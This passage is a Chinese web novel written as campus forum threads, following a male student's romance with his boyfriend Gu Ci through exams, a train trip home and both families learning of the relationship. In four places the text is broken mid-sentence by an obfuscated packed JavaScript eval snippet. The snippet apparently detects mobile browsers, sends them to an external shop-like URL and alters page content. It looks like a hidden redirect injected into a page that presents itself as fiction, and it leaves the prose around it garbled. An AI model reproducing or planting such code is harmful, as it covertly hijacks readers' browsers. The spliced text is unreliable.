11楼匿名用户： 而且他还说“只是想帮你”！！！ 啊啊啊啊啊啊！！！ 这个温柔程度超标了！！！ 12楼匿名用户： 顾辞真的太会了！！！ 明明是在做很普通的事，但说出来就特别动人！！！ 13楼匿名用户： 楼主你那个点球的描述——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382529|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“观察守门员的重心移动是决定射门方向的关键” 这是你的真实经历，写进论文里，比AI写的那些空话强多了！ 14楼楼主： 是吧？ 我也觉得这段写得挺好。 他教我的。 15楼匿名用户： 又来了又来了！ “他教我的”！ 秀恩爱新高度！ 16楼匿名用户： 楼主你现在论文写完了？ 助教怎么说？ 17楼楼主： 还没回复。 但至少没退回来。 应该能过吧。 18楼匿名用户： 肯定能过！ 有顾辞指导，还有AI辅助，再加上你自己的真实经历，不过才怪！ 19楼匿名用户： 话说回来，楼主你之前那篇AI生成的，写了什么内容？ 发出来让我们笑笑？ 20楼楼主： …… 不记得了。 删了。 21楼匿名用户： 哈哈哈哈哈哈！ 删了就好，别留黑历史！ 22楼匿名用户： 但有一说一，楼主今天这个帖子，写得比以前好多了。 是不是顾辞也教你写帖子了？ 23楼楼主： …… 没有。 我自己写的。 24楼匿名用户： 那进步挺大啊！ 从“我是直男”到“他是神仙”，文笔提升了不少！ 25楼匿名用户： 这就是爱情的力量吧。 谈恋爱让人文笔变好。 26楼匿名用户： 行了，今天这狗粮我吃了。 吃得心甘情愿。 27楼匿名用户： 楼主你明天还去图书馆吗？ 28楼楼主： 去。 他还有两门没复习完，我继续陪他。 顺便把论文最终版交了。 29楼匿名用户： 记得带充电器！ 别又用AI写论文被抓！ 30楼楼主： …… 知道了。 31楼匿名用户： 记得多夸他！ 他帮你这么多，你得多夸夸！ 32楼楼主： 夸了。 我说他是神仙。 33楼匿名用户： 哈哈哈哈哈哈！ 这个夸法，顾辞什么反应？ 34楼楼主： 耳朵红了，说“胡说什么”。 然后继续低头写论文。 但我看他嘴角一直弯着。 35楼匿名用户： 呜呜呜呜呜！！！ 他肯定特别开心！！！ 只是不好意思说！！！ 36楼匿名用户： 行了，儿子快去睡吧。 明天还要陪儿媳妇复习呢。 37楼楼主： 好。 晚安。 谢谢你们。 —— 【最后的最后】 张扬把手机放下。 窗外有银色的月光。 他想起今天下午，阳光照在顾辞脸上的样子。 想起顾辞教自己改论文的样子。 想起他说“只是想帮你”时，耳朵红红的样子。 手机震了一下。 【圆圆】：睡了？ 【张】：没。 【圆圆】：在想今天下午？ 【张】：嗯。 【圆圆】：我也是。 【张】：顾辞。 【圆圆】：嗯？ 【张】：谢谢你今天帮我。 【圆圆】：不用谢。 【张】：谢谢你愿意教我。 【圆圆】：应该的。 【张】：谢谢你…… 【张】：谢谢你这么耐心。 对面沉默了一会儿。 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：你知道我最开心的是什么吗？ 【张】：什么？ 【圆圆】：是你愿意学。 【圆圆】：不是每个人都能接受自己不会，也不是每个人都愿意让别人教。 【圆圆】：但你愿意。 【圆圆】：所以我也愿意教。 张扬看着那几行字，眼眶又酸了。 【张】：那我以后一直跟你学。 【张】：学怎么写论文，学怎么用AI，学怎么当一个配得上你的人。 【圆圆】：…… 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：你不用学怎么配得上我。 【圆圆】：你本来就配得上。 18. 放寒假了，和男朋友一起回家 标题：【树洞】放寒假了，和男朋友一起回家 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们。 考完了。 解放了。 放寒假了！ 但今天我要说的不是放假这件事。 今天要说的是—— 我和顾辞，一起回家。 —— 【一、这件事是怎么发生的】 上周顾辞问我：“你什么时候回家？” 我说：“考完就走，你呢？” 他说：“我也考完就走。” 然后他看了我一眼，耳朵红了一下，声音特别轻： “你……买票了吗？” 我说：“没呢，等着和你一起买。” 他愣了一下。 然后耳朵更红了。 但嘴角弯起来了。 那个笑，很轻，但我看见了。 后来我们真的一起买的票。 同一趟高铁，他12A，我12C。 中间隔着一个过道。 本来想买连座的，但春运票太紧张了，只剩下过道两边的位置。 不过没关系。 能一起走就行。 —— 【二、出发那天】 今天早上，我拖着箱子去他宿舍楼下等他。 等了五分钟，他出来了。 穿着那件米白色的羽绒服，围着一条灰色的围巾，箱子不大，背着一个书包。 阳光照在他身上，好看得要命。 我走过去，想帮他拿箱子。 他说：“不用，不重。” 我说：“给我。” 他看了我一眼，没再拒绝。 我把箱子接过来，一手一个，往校门口走。 他在旁边跟着，走得慢慢的。 我说：“你是不是没吃早饭？” 他说：“吃了。” 我说：“吃的什么？” 他说：“面包。” 我说：“那不够，待会儿车站买点热的。” 他没说话。 但我看见他嘴角弯了一下。 —— 【三、地铁上】 从学校到高铁站，要坐一个多小时地铁。 春运的地铁，人特别多。 我们挤在角落里，他靠着一根柱子，我站在他面前。 人挤人的时候，会碰到他。 每次碰到，他耳朵就红一点。 后来我干脆伸手，撑在他脑袋两边，把他圈在中间。 他抬头看我，眼睛瞪得圆圆的。 “干嘛？” 我说：“怕别人挤到你。” 他耳朵又红了。 但没躲。 就那么让我圈着，站了一路。 偶尔地铁晃一下，他会往前倾一点，几乎靠在我身上。 每一次，我的心跳都会漏半拍。 —— 【四、高铁站】 到了高铁站，人山人海。 我拉着两个箱子，他在旁边跟着。 检票、安检、找候车室。 我一边走一边回头看他，怕他丢了。 他说：“你看路，别看我。” 我说：“怕你跟不上。” 他说：“我跟着你呢。” 就这五个字。 “我跟着你呢。” 我听着，心里突然特别满。 —— 【五、高铁上】 上了车，找到座位。 他在12A，靠窗。 我在12C，过道另一边，靠窗。 隔着一个过道，隔着一排座位。 坐下之后，我转头看他。 他也在看我。 我们对视了一秒。 然后他低下头，拿出手机。 我手机震了一下。 【圆圆】：好好坐着，别一直看我。 我笑了。 回他： 【张】：那你别长那么好看。 【圆圆】：…… 【圆圆】：睡觉了。 然后他真的靠着窗户，闭上眼睛。 我看着他。 阳光从窗户照进来，落在他脸上。 他的睫毛在抖，不知道是真的睡了还是在装睡。 但不管真的假的。 好看就行。 —— 【六、中途】 车开了两个小时，他醒了。 揉揉眼睛，转头找我。 看见我在看他，愣了一下。 然后他拿出手机，打字。 【圆圆】：你一直没睡？ 【张】：睡不着。 【圆圆】：为什么？ 【张】：怕睡着了，错过看你。 【圆圆】：…… 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：你越来越会说了。 我看着那行字，笑了。 然后我打字： 【张】：跟你学的。 他又没回。 但我看见他耳朵红了。 —— 【七、吃饭时间】 中午，他去餐车买饭。 我说我去，他说不用。 回来的时候，他端着两份盒饭。 一份递给我。 我接过来，打开一看—— 红烧肉。 是我喜欢的。 我抬头看他。 他低头吃自己的，假装没看见我的眼神。 但我看见他耳朵红红的。 那一刻，我心里特别软。 —— 【八、快到站了】 车快到了。 他开始收拾东西。 我也收拾。 然后他突然站起来，走到我这边。 “箱子给我。” “什么？” “箱子，给我一个。” 我说：“不用，我拿得动。” 他说：“你一直帮我拿着，现在换我帮你。” 我看着他的眼睛。 那双眼睛里有坚持，有认真，还有一点点担心——怕我拒绝。 我说：“好。” 他把一个箱子接过去，拉着往回走。 走到自己座位旁边，又回头看我一眼。 “下车的时候，跟紧我。” 我说：“好。” 他点点头，坐回去了。 我看着他，心里特别满。 —— 【九、下车】 车停了。 我们下车，一起往出站口走。 人很多，挤来挤去。 他突然伸手，拉住了我的袖子。 就拉着一点点，像怕走丢的小孩。 我低头看他。 他耳朵红红的，眼睛看着前面，假装什么都没发生。 但我看见他嘴角弯着。 我反手，握住了他的手。 他愣了一下，没躲。 我们就那么牵着手，走出车站。 —— 【十、分别】 出站之后，他要换乘另一条线回家。 我要去停车场，我爸在那儿等我。 我们站在出站口，谁都没先走。 他说：“那我……走了。” 我说：“嗯。” 他没动。 我也没动。 过了两秒，他又说：“你路上小心。” 我说：“你也是。” 他说：“到家发消息。” 我说：“好。” 他说：“那……” 他没说完。 我突然伸手，抱了他一下。 很轻，很快，就两秒。 然后松开。 他整个人愣在那里，耳朵红透了。 我说：“走吧。” 他点点头，转身走了。 走了几步，又回头看我。 阳光照在他身上，米白色的羽绒服，灰色的围巾，红红的耳朵。 他对我挥挥手。 我也挥挥手。 然后他转身，走进人群里。 —— 现在我已经到家了。 躺在床上，满脑子都是今天。 地铁上把他圈在怀里的感觉。 高铁上他靠着窗户睡觉的样子。 他给我买红烧肉盒饭的样子。 他拉着我袖子怕走丢的样子。 我抱他那一秒，他愣住的样子。 手机震了一下。 【圆圆】：到了。 【张】：我也到了。 【圆圆】：嗯。 【张】：顾辞。 【圆圆】：嗯？ 【张】：今天很开心。 【圆圆】：我也是。 【张】：虽然要分开一个月。 【张】：但能一起走这么一段，就特别好。 【圆圆】：…… 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：寒假很快的。 【圆圆】：开学就能见了。 【张】：我知道。 【张】：但还是会想你。 对面沉默了一会儿。 然后他回： 【圆圆】：我也是。 —— 兄弟们。 这就是我今天的故事。 没什么大事。 就是和喜欢的人，一起坐了一趟车。 但我特别开心。 比赢了比赛还开心。 —— 1楼匿名用户： 沙发！ 楼主你今天又是来喂狗粮的！ 2楼匿名用户： 妈的，看完了，我酸了。 真酸。 柠檬精本精。 3楼匿名用户： “怕睡着了，错过看你” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382530|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼主你现在说情话的水平，已经不是“跟你学的”了，是“青出于蓝”！ 4楼匿名用户： 地铁上把他圈在怀里那段！！！ 啊啊啊啊啊啊！！！ 这个保护欲！！！ 5楼匿名用户： 顾辞拉着楼主袖子那段！！！ 好可爱！！！ 平时那么冷淡的人，怕走丢的时候会拉袖子！！！ 这是什么绝世反差萌！！！ 6楼匿名用户： 还有买盒饭那段！！！ 红烧肉！！！ 他知道楼主喜欢吃什么！！！ 专门买的！！！ 7楼匿名用户： 呜呜呜呜呜！！！ 双向奔赴太甜了！！！ 8楼匿名用户： 楼主你最后那个拥抱！！！ 虽然只有两秒！！！ 但肯定让顾辞心跳爆炸！！！ 9楼匿名用户： 顾辞肯定现在还没缓过来！！！ 说不定正抱着被子在床上打滚！！！ 10楼匿名用户： 回9楼：哈哈哈哈哈哈！ 顾辞打滚？那个高岭之花？ 我不信。 11楼匿名用户： 回10楼：你不信？ 那你想象一下：顾辞回到家，关上门，靠着门板，捂着脸，耳朵红透，嘴角压都压不下去。 这不比打滚甜？ 12楼匿名用户： 回11楼：啊啊啊啊啊啊！ 这个画面！！！ 我死了！！！ 13楼匿名用户： 楼主你寒假一个月见不到他，怎么办？ 会不会想死？ 14楼楼主： 会。 但现在有手机。 可以视频。 15楼匿名用户： 视频！ 记得每天视频！ 让他看看你，你看看他！ 16楼匿名用户： 对！ 视频的时候，盯着他看！ 说他好看！ 说他可爱！ 说你想他！ 17楼楼主： …… 知道了。 你们比我还会安排。 18楼匿名用户： 那是！ 我们是赛博父母！ 当然要安排儿子的恋爱日程！ 19楼匿名用户： 话说回来，楼主你爸妈知道顾辞吗？ 20楼楼主： 知道。 我说是好朋友。 21楼匿名用户： 那以后呢？ 打算什么时候说？ 22楼楼主： 以后吧。 等合适的时候。 23楼匿名用户： 也对，不着急。 慢慢来。 24楼匿名用户： 行了，儿子今天表现很好。 第一次一起回家，圆满成功！ 25楼匿名用户： 寒假快乐！ 开学见！ 26楼楼主： 好。 谢谢你们。 寒假快乐。 —— 【最后的最后】 张扬躺在床上，看着窗外的月亮。 手机又震了一下。 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：我今天也很开心。 【圆圆】：特别开心。 【张】：比平时还开心？ 【圆圆】：嗯。 【圆圆】：因为有人帮我拉箱子。 【圆圆】：有人在地铁上护着我。 【圆圆】：有人给我买盒饭。 【圆圆】：有人拉着我的手走出车站。 【圆圆】：有人抱了我一下。 【圆圆】：虽然只有两秒。 张扬看着那几行字，眼眶酸酸的。 然后我打字： 【张】：那以后每次都这样。 【张】：每次回家都一起走。 【张】：每次我都帮你拉箱子。 【张】：每次都在地铁上护着你。 【张】：每次都给买盒饭。 【张】：每次都牵着你的手出站。 【张】：每次都抱你。 【张】：不止两秒。 【圆圆】：…… 【圆圆】：好。 【圆圆】：晚安，张扬。 【张】：晚安。 —— 窗外有月光。 很亮。 他想起顾辞拉着我袖子时的样子。 想起顾辞低头吃盒饭时，耳朵红红的样子。 想起他转身离开前，回头看自己的那一眼。 一个月。 很快就过去了。 开学就能见了。 19. 家里人知道我们在一起了，我妈说“你捡到漏…… 标题：【树洞】家里人知道我们在一起了，我妈说“你捡到漏了” 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们。 我回来了。 寒假过去两周了。 这两周发生了很多事。 但最让我没想到的一件事是—— 我爸妈知道我和顾辞在一起了。 不是我们主动说的。 是被发现的。 —— 事情要从上周说起。 我在家和顾辞视频，聊得正开心。 我妈突然推门进来，问我要不要吃水果。 我一紧张，把手机扣在胸口。 但还是晚了。 我妈看见屏幕上的顾辞了。 她愣了一下，然后说：“哎，这不是小顾吗？你们视频呢？” 我说：“啊……对。” 她说：“那你们聊，我放这儿了。” 她把水果放下，出去了。 我以为没事了。 结果晚上吃饭的时候，她突然问我： “张扬，你是不是和小顾谈恋爱呢？” 我一口饭差点喷出来。 —— 我爸妈坐在对面，看着我。 我爸面无表情，我妈眼睛亮亮的。 我脑子飞速转。 想编个理由混过去。 但转念一想，算了。 反正迟早要知道的。 我说：“是。” 我妈眼睛更亮了。 我爸还是面无表情。 沉默了三秒。 然后我妈说：“我就说嘛！” “上次你回来，一直小顾长小顾短的。” “视频的时候笑得那个傻样。” “还用说？肯定有问题！” 我：“……” 我爸还是没说话。 —— 我看向我爸。 他终于开口了。 “那个小顾，是文学院的？” 我说：“是。” “年级第一那个？” 我说：“是。” “长得挺好看那个？” 我说：“……是。” 他又沉默了。 然后他说： “你配得上人家吗？” 我：“……” 我妈在旁边笑出了声。 —— 我妈笑得不行，拍着我爸说：“你怎么这么说话！” 然后转过来看着我。 那眼神，怎么说呢。 不是生气，不是失望。 是一种……很复杂的、我说不清的眼神。 然后她说： “张扬啊。” “嗯？” “你知道你是什么水平吗？” 我愣住了。 她说：“你从小学习就一般，考大学靠的是体育特招。” “长得吧，也不算特别帅，就高点。” “性格呢，大大咧咧的，没什么心眼。” “你这样的，能找到小顾那样的？” “那是你捡到漏了你知道吗？” 我：“……” 我妈继续说：“小顾那孩子我见过几次，长得好看，学习好，有礼貌，家里条件也好。” “人家能看上你，你就偷着乐吧。” “以后对人家好点，别欺负人家。” 我张了张嘴，不知道该说什么。 我爸在旁边补了一句： “欺负人家，我揍你。” 我：“……” —— 操。 兄弟们。 你们能想象吗？ 我以为出柜会是什么大场面。 我以为我爸妈会震惊、会沉默、会需要时间接受。 结果呢？ 我妈说“你捡到漏了”。 我爸说“你配得上人家吗”。 他们担心的根本不是我和男的谈恋爱。 他们担心的是——人家那么优秀，怎么会看上我这个傻儿子。 我该高兴还是该难过？ —— 吃完饭，我妈拉着我聊天。 问我顾辞喜欢吃什么，喜欢做什么，家里几口人，以后有什么打算。 我一一回答。 她听着听着，突然叹了口气。 “张扬啊。” “嗯？” “妈不是不同意你们。” “妈就是……有点不敢相信。” “人家那么好的孩子，怎么就跟你了呢？” 我：“……” 她说：“你得对人家好。” “不能像对妈似的，三天两头惹我生气。” “人家是读书人，你得让着点。” “吵架了先道歉，别死要面子。” “多关心人家，天冷了提醒加衣服，饿了给买吃的。” “记住了吗？” 我说：“记住了。” 她又叹了口气。 “你捡到这么大的漏，得珍惜啊。” —— 晚上我给顾辞打电话，说了今天的事。 他听完，沉默了一会儿。 然后他说：“你妈……真这么说？” 我说：“真的。” 他又沉默了。 然后我听见他在那边轻轻笑了一声。 “你妈说得对。” “什么？” “你是捡到漏了。” 我愣了一下。 然后我笑了。 “那你是漏吗？” 他说：“不是。” “我是漏网的那条鱼。” “正好被你捞着了。” 我听完，愣了一下，然后说： “操，你怎么这么会说话。” —— 现在我在床上，盯着手机。 满脑子都是今天的事。 我妈说我捡到漏了。 我爸问我配不配。 顾辞说他是漏网的那条鱼。 我突然觉得—— 可能我真的捡到漏了。 毕竟那么好的一个人，怎么就跟我了呢？ —— 1楼匿名用户： 沙发！ 楼主你今天又是来喂狗粮的！ 2楼匿名用户： 哈哈哈哈哈哈笑死我了！ “你配得上人家吗？” “那是你捡到漏了你知道吗？” 叔叔阿姨太真实了！！！ 3楼匿名用户： 这就是亲爸妈的反应啊！！！ 担心的不是儿子喜欢男的，是儿子配不配得上人家！！！ 4楼匿名用户： 我妈要是知道我找顾辞这样的，肯定也这么说。 “人家能看上你？你做梦呢？” 5楼匿名用户： 楼主你妈太可爱了！ “人家那么好的孩子，怎么就跟你了呢？” 这句话我笑死！ 6楼匿名用户： 我爸补的那句“欺负人家我揍你”更绝！ 这是亲爸！ 7楼匿名用户： 但说实话，叔叔阿姨这个反应，已经很好了。 没有反对，没有震惊，没有需要时间接受。 直接就接受了。 甚至还觉得是自己儿子高攀了。 8楼匿名用户： 对对对！ 这个态度说明什么？ 说明他们知道顾辞有多好！ 说明他们认可顾辞！ 说明他们相信儿子的眼光！ 9楼匿名用户： 而且你妈说的那些话—— “对人家好点” “让着点” “吵架了先道歉” “多关心人家” 这不是妈妈对儿子说的恋爱箴言吗！ 和儿女性别没关系！ 10楼匿名用户： 呜呜呜呜呜！ 赛博父母感动了！ 真正的父母也这么好！ 11楼匿名用户： 等等，楼主最后那句“操，你怎么这么会说话” 我数了一下，这是这个帖子里第几个“操”了？ 12楼匿名用户： 回11楼：我来统计一下！ 第一章：2个 第二章：3个 第三章：4个 第四章：5个 第五章：3个 第六章：2个 第七章：3个 第八章：5个35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382531|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 第九章：2个 第十章：3个 第十一章：3个 第十二章：2个 第十三章：2个 第十四章：2个（目前） 总数：41个！ 13楼匿名用户： 哈哈哈哈哈哈笑死！ 赛博父母为了统计一个“操”字，开始用软件分析了！ 14楼匿名用户： 这说明什么？ 说明我们是真的很闲！ 也说明楼主的语言习惯真的很稳定！ 15楼匿名用户： 软件分析计算33次，平均每章2-3次。 这个频率很科学！ 18楼匿名用户： @足球不行踢球去楼主，你对自己的“操”字使用频率有什么想说的吗？ 19楼楼主： …… 你们是真的闲。 我自己都不知道用了多少次。 20楼匿名用户： 回19楼：33次！ 我们帮你统计出来了！ 以后可以写进你的语言习惯分析报告！ 21楼匿名用户： 话说顾辞那句“我是漏网的那条鱼，正好被你捞着了” 太会了！！！ 这个比喻绝了！！！ 22楼匿名用户： 对！ 而且楼主听完就愣住了！ 说明被撩到了！ 23楼匿名用户： 楼主现在已经不是那个“我是直男”的楼主了。 楼主现在是“被男朋友撩到说不出话”的楼主。 24楼匿名用户： 哈哈哈哈哈哈！ 这个进化路线很清晰！ 25楼匿名用户： 话说回来，顾辞那边还没跟他爸妈说？ 打算什么时候说？ 26楼楼主： 他打算开学再说。 他爸妈比较传统，他想当面说。 27楼匿名用户： 理解。 这种事确实当面说比较好。 28楼匿名用户： 希望顾辞爸妈也能像你爸妈一样开明！ 29楼楼主： 希望吧。 30楼匿名用户： 不管怎么样，你都会陪着他的，对吧？ 31楼楼主： 嗯。 一直陪着。 32楼匿名用户： 行了，儿子今天表现很好。 继续对顾辞好！ 别辜负人家！ 33楼楼主： 好。 谢谢你们。 —— 【最后的最后】 张扬躺在床上，看着手机。 想起今天的事，还是觉得有点不可思议。 他以为出柜会很难。 结果他爸妈比他想象的还好。 妈妈说张扬捡到漏了。 爸爸问自己配不配。 他们担心的不是自己儿子，是能不能对得起这么好的顾辞。 手机震了一下。 【圆圆】：睡了吗？ 【张】：没。 【圆圆】：在想今天的事？ 【张】：嗯。 【圆圆】：你妈真的挺好的。 【张】：嗯。 【张】：顾辞。 【圆圆】：嗯？ 【张】：我妈说让我对你好点。 【张】：吵架了先道歉。 【张】：多关心你。 【张】：天冷了提醒加衣服。 【张】：饿了给买吃的。 【圆圆】：…… 【圆圆】：你妈说的都对。 【张】：那我以后都照做。 【张】：对你好点。 【张】：吵架了先道歉。 【张】：多关心你。 【张】：天冷了提醒加衣服。 【张】：饿了给买吃的。 【圆圆】：好。 【圆圆】：那你记得。 【张】：记得。 【张】：一辈子都记得。 —— “你捡到漏了，得珍惜。” 是的。 会珍惜。 一辈子。 20. 他让我别管，但我怎么可能不管 标题：【树洞】顾辞家里知道了，他让我别管，但我怎么可能不管 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们。 我不知道怎么开这个头。 事情发生得太突然了。 昨天晚上，顾辞给我打电话。 当时我正在家吃饭，看见他的来电显示还挺高兴的。 接起来，还没来得及说话，就听见那边沉默。 我说：“顾辞？” 他说：“嗯。” 就一个字。 但我听出来了——他声音不对。 我说：“怎么了？” 他又沉默了几秒。 然后说：“我妈知道了。” 我筷子掉在桌子上。 —— 后来他断断续续地跟我说了经过。 他妈是在他回家第三天问的。 问他：“你最近是不是谈恋爱了？” 他没否认。 他妈又问：“是那个张扬吗？” 他愣住了。 他妈说：“我认识那孩子，从小跟你一起长大的那个体育生。” 他说：“是。” 然后他妈沉默了。 很久。 然后他妈说：“我以为你是闹着玩的。” “我以为你只是一时糊涂。” “我以为……你能自己走出来。” 他说：“妈，我不是闹着玩。” 他妈没再说话。 站起来，走了。 —— 他跟我说这些的时候，声音很平。 但我听得出来，他在忍着。 他说，他妈其实早就知道。 不是知道他喜欢他。 是知道他不一样。 从初中开始，他妈就发现他对女生没兴趣。 那时候他妈没说什么，只是旁敲侧击地问过几次。 他都说不知道。 后来上了高中，他妈给他安排过相亲——说是朋友家的女儿，其实就是想试试他。 他没去。 他妈也没再提。 再后来，他考上了京华，他妈松了一口气。 说“大学里遇到的人多，也许就正常了”。 他说到这里，顿了一下。 “她一直用‘正常’这个词。” “好像我不正常。” 我听着，心里像被人攥着一样疼。 —— 他说，他妈之所以没太担心，是因为—— 她一直以为张扬是直男。 她见过我几次，从初中到高中。 每次都是我去找他玩，或者他来找我。 他妈觉得，两个男生一起玩，很正常。 而且我看起来就是那种……标准直男。 喜欢踢球，大大咧咧，说话不过脑子。 她从来没想过，我会是那个“拐走”她儿子的人。 甚至这次回来之前，他妈还跟他说： “那个张扬，你们还联系吗？他性格挺好的，你要多和这样的人交朋友，对你有好处。” 他说到这里，声音涩了一下。 “她让我多和你交朋友。” “她不知道，我早就不是只想和你做朋友了。” —— 更让我难受的是后面的事。 他妈沉默了一晚上，第二天又来找他。 这回她态度软了一点。 她说：“妈不是不理解你。” “但你要想清楚，这条路有多难走。” “你爸那边，我都不知道怎么开口。” 她说：“那个张扬，我看着长大的，是个好孩子。” “但他是直男啊。” “他不可能真的和你在一起的。” “你们现在好，以后呢？他总要结婚生子的。” “到时候你怎么办？” 他听着，没说话。 然后他妈说了一句让我特别难受的话： “要不这样，你让他帮帮你。” “他不是很照顾你吗？你让他帮你介绍个女朋友，或者……或者劝劝你。” “他说话你应该听得进去。” —— 他说，听完这句话，他突然就笑了。 不是高兴的笑。 是那种……说不出来的笑。 然后他说：“妈，张扬是我男朋友。” 他妈愣住了。 他说：“他不是直男。” “他喜欢我。” “我也喜欢他。” “我们在一起了。” 他妈半天没说话。 最后站起来，走了。 —— 他讲这些的时候，声音一直很平。 像在讲别人的事。 但我听出来了。 那不是平静。 那是把什么都压下去，压得死死的，不让自己漏出来。 我忍不住问：“你……还好吗？” 他说：“没事。” 我说：“你别骗我。” 他沉默了几秒。 然后他说：“张扬。” “嗯？” “我妈让我找人劝劝我的时候，我特别想笑。” “她不知道，我最想要的人，就在她让我去找的那个‘朋友’身上。” “她让我去找你帮忙。” “可她不知道，你本身就是我的‘问题’。” “也是我的答案。” 后来我们没再说这个。 他问我吃饭了吗，我说吃了。 他问我训练还继续吗，我说休息几天。 他问我寒假作业写完了吗，我说你帮我改的那篇已经交了。 有一搭没一搭地聊。 像平时一样。 但我知道，不一样。 挂电话之前，他说：“张扬。” “嗯？” “这几天可能不能每天视频了。” “我妈……她想冷静一下。” “我得陪着她。” 我说：“好。” 他说：“你别担心。” 我说：“嗯。” 他说：“等我消息。” 我说：“好。” 然后他挂了。 —— 现在我在床上，盯着手机。 满脑子都是他说的那些话。 “她一直用‘正常’这个词。” “她让我多和你交朋友。” “她让我找你帮忙劝劝我。” “可你不知道，你本身就是我的‘问题’，也是我的答案。” 操。 我想给他打电话。 想跟他说“我过来找你”。 想跟他说“我陪你一起面对”。 但我知道，现在不行。 现在是他和他妈妈之间的事。 我插不进去。 我只能等。 等他告诉我下一步。 —— 兄弟们。 我知道你们想问什么。 他爸知道了吗？ 他妈接下来会怎么做？ 他们会不会逼他分手？ 我不知道。 我真的不知道。 我只知道，他现在肯定很难受。 比我难受一万倍。 —— 1楼匿名用户： 沙发…… 但今天不想抢沙发。 楼主，顾辞他…… 2楼匿名用户： 我看哭了。 真的哭了。 “她让我找你帮忙劝劝我。” 这句话太刀了。 3楼匿名用户： 顾辞妈妈其实不是坏人。 她只是不懂。 她用她以为对的方式，想保护她儿子。 但她不知道，她儿子需要的不是“劝”，是理解。 4楼匿名用户： “可你不知道，你本身就是我的‘问题’，也是我的答案。” 顾辞说这句话的时候，得有多难过啊。 5楼匿名用户： 楼主，你现在什么都做不了，对吗？ 只能等。 6楼楼主： 嗯。 只能等。 7楼匿名用户： 这种感觉我懂。 比吵架还难受。 吵架还能做点什么。 等，就是什么都做不了。 8楼匿名用户： 但楼主，你可以做一件事： 随时等他电话。 让他知道，你一直在。 9楼楼主： 嗯。 手机一直开着。 铃声最大。 震动也开着。 他打过来，我第一时间接。 10楼匿名用户： 顾辞说他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382532|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得陪着他妈。 说明他妈其实也需要时间。 她不是不接受，是不知道怎么接受。 她需要时间去想通。 11楼匿名用户： 对。 她说“这条路有多难走”，说明她想过。 她担心的不是“不正常”，是“难”。 她怕儿子受苦。 12楼匿名用户： 而且她说“张扬我看着长大的，是个好孩子”。 这句话说明她不讨厌楼主。 她只是以为楼主是直男。 现在知道楼主不是，她的认知需要时间调整。 13楼匿名用户： 说不定她想通了之后，反而会松一口气？ 因为儿子喜欢的人，是她知根知底的孩子。 14楼匿名用户： 有道理。 她认识楼主这么多年，知道楼主什么性格。 比儿子喜欢一个完全不认识的人，好接受多了。 15楼匿名用户： 但现在的问题是，他爸还不知道？ 顾辞只说了他妈。 16楼楼主： 他没提他爸。 可能还没说。 也可能……他爸更难接受。 17楼匿名用户： 书香门第，高校教授，确实…… 唉。 18楼匿名用户： 楼主，你现在能做的就是等。 但等的时候，可以做点准备。 比如查查怎么和父母沟通，查查相关的案例。 万一顾辞需要，你能给他建议。 19楼楼主： 好。 我今晚就开始查。 20楼匿名用户： 还有，照顾好自己。 顾辞那边压力大，他肯定不希望你也垮了。 你状态好，他才能放心。 21楼楼主： 嗯。 我知道。 22楼匿名用户： 话说，顾辞最后那句“我的问题，也是我的答案”， 他是说，你让他“不正常”， 但你也让他完整。 对吗？ 23楼楼主： …… 应该是。 他没说这么直白。 但我懂。 24楼匿名用户： 呜呜呜。 双向奔赴，双向救赎。 一定要挺过去啊。 25楼匿名用户： 楼主，不管发生什么，我们都在。 赛博父母永远支持你们。 26楼楼主： 谢谢。 —— 【深夜】 凌晨一点。 张扬睡不着。 他把手机放在枕头边，屏幕一直亮着。 生怕错过顾辞的消息。 震了一下。 